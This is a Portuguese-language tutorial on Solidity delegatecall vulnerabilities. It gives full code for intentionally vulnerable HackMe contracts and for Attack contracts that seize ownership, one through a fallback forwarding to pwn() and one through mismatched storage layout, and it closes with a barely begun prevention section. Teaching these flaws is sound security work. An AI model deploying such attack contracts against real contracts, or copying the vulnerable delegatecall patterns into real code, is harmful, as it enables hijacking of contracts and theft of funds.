Nesse artigo iremos aprender a como um contrato malicioso age para acessar e chamar as funções delegatecall e como previnir um ataque em seu contrato inteligente.
Vulnerabilidade
A função delegatecall
é complicada de usar e se usado de maneira errada ou compreensão incorreta pode levar a resultados devastadores para seu contrato.
Você deve manter 2 coisas em mente ao utilizar o delegatecall
:
delegatecall
preserva o contexto (armazenamento, chamador, etc...)- o layout de armazenamento deve ser o mesmo para a chamada da função
delegatecall
do contrato e para obter o contrato que está fazendo a chamada.
Um exemplo de como um ataque funciona:
HackMe é um contrato que usa delegatecall
para executar um código.
Não é óbvio que o proprietário do HackMe possa ser alterado, pois não há função dentro do HackMe para fazer isso.
No entanto, um invasor pode sequestrar o contrato explorando o delegatecall
.
Vamos ver como:
- Alice implanta Lib
- Alice implanta o HackMe com endereço de Lib
- Eve implanta Ataque com endereço de HackMe
- Eve chama
Attack.attack()
- Attack agora é o dono do HackMe
O que aconteceu?
- Eve chamou
Attack.attack()
- Ataque chamou a função
fallback
do HackMe enviando a função seletor depwn()
. HackMe encaminha a chamada para Lib usandodelegatecall
- Aqui
msg.data
contém o seletor de função depwn()
- Isso diz ao Solidity para chamar a função
pwn()
dentro da Lib - A função
pwn()
atualiza o proprietário paramsg.sender
- Delegatecall executa o código de Lib usando o contexto de HackMe
- Portanto, o armazenamento do HackMe foi atualizado para
msg.sender
ondemsg.sender
é o chamador de HackMe, neste caso Attack
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Lib {address public owner;function pwn() public {owner = msg.sender;}}contract HackMe {address public owner;Lib public lib;constructor(Lib _lib) {owner = msg.sender;lib = Lib(_lib);}fallback() external payable {address(lib).delegatecall(msg.data);}}contract Attack {address public hackMe;constructor(address _hackMe) {hackMe = _hackMe;}function attack() public {hackMe.call(abi.encodeWithSignature("pwn()"));}}
Aqui está outro exemplo.
Você precisará entender como o Solidity armazena as variáveis de estado antes de entender essa exploração.
Esta é uma versão mais sofisticada do código anterior.
- Alice implanta Lib e HackMe com o endereço de Lib
- Eve implanta Ataque com o endereço do HackMe
- Eve chama
Attack.attack()
- Attack agora é o dono do HackMe
O que aconteceu?
Observe que as variáveis de estado não são definidas da mesma maneira em Lib e HackMe.
Isso significa que chamar Lib.doSomething()
mudará a primeiro variável de estado dentro do HackMe, que é o endereço de lib.
Dentro de attack()
, a primeira chamada para doSomething()
altera o endereço de lib para armazenar no HackMe.
O endereço da lib agora está definido como Attack.
A segunda chamada para doSomething()
chama Attack.doSomething()
e é aqui que nós mudamos o proprietário.
// SPDX-License-Identifier: MITpragma solidity ^0.8.13;contract Lib {uint public someNumber;function doSomething(uint _num) public {someNumber = _num;}}contract HackMe {address public lib;address public owner;uint public someNumber;constructor(address _lib) {lib = _lib;owner = msg.sender;}function doSomething(uint _num) public {lib.delegatecall(abi.encodeWithSignature("doSomething(uint256)", _num));}}contract Attack {// Verifique se o layout de armazenamento é o mesmo do HackMe// Isso nos permitirá atualizar corretamente as variáveis de estadoaddress public lib;address public owner;uint public someNumber;HackMe public hackMe;constructor(HackMe _hackMe) {hackMe = HackMe(_hackMe);}function attack() public {// substituir endereço de libhackMe.doSomething(uint(uint160(address(this))));// passar qualquer número como entrada,// a função doSomething() abaixo irá ser chamadohackMe.doSomething(1);}// a assinatura da função deve corresponder a HackMe.doSomething()function doSomething(uint _num) public {owner = msg.sender;}}
Técnicas Preventivas
- Usar
Library
sem mudança de estado